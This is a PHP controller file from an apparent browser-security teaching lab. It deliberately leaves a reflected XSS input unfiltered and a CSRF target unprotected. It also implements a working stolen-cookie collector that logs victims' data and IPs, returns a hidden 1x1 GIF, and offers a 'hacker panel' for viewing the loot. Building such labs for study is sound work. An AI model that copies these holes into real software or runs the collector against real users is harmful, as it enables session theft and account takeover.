browser-sec-lab/app/Http/Controllers/VulnerabilityController.php
2026-04-14 17:39:15 +03:30

52 lines
1.9 KiB
PHP
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class VulnerabilityController extends Controller
{
// شبیه‌سازی XSS (Reflected)
public function xss(Request $request)
{
// دریافت ورودی بدون هیچ‌گونه فیلتر امنیتی
$payload = $request->query('payload', '');
return view('vulnerabilities.xss', compact('payload'));
}
// هدف حمله CSRF
public function csrfTarget(Request $request)
{
// در دنیای واقعی اینجا عملیات حساس مثل تغییر رمز انجام می‌شود
return response()->json([
'status' => 'success',
'message' => 'Action performed successfully without CSRF protection!'
]);
}
// متد دریافت کوکی‌های سرقت شده
public function logStolenData(Request $request)
{
$cookie = $request->query('data', 'No data');
$ip = $request->ip();
// ذخیره در یک فایل متنی داخل پوشه storage/app برای سادگی آزمایشگاه
$logEntry = "[" . now() . "] IP: {$ip} | Stolen Data: {$cookie}";
\Illuminate\Support\Facades\Storage::append('stolen_cookies.log', $logEntry);
// یک تصویر شفاف ۱x۱ برمی‌گردانیم تا کلاینت متوجه نشود
return response(base64_decode('R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw=='))
->header('Content-Type', 'image/gif');
}
// متد برای مشاهده لاگ‌ها (پنل هکر)
public function viewLogs()
{
$logs = \Illuminate\Support\Facades\Storage::exists('stolen_cookies.log')
? \Illuminate\Support\Facades\Storage::get('stolen_cookies.log')
: 'هیچ دیتایی سرقت نشده است.';
return view('vulnerabilities.logs', compact('logs'));
}
}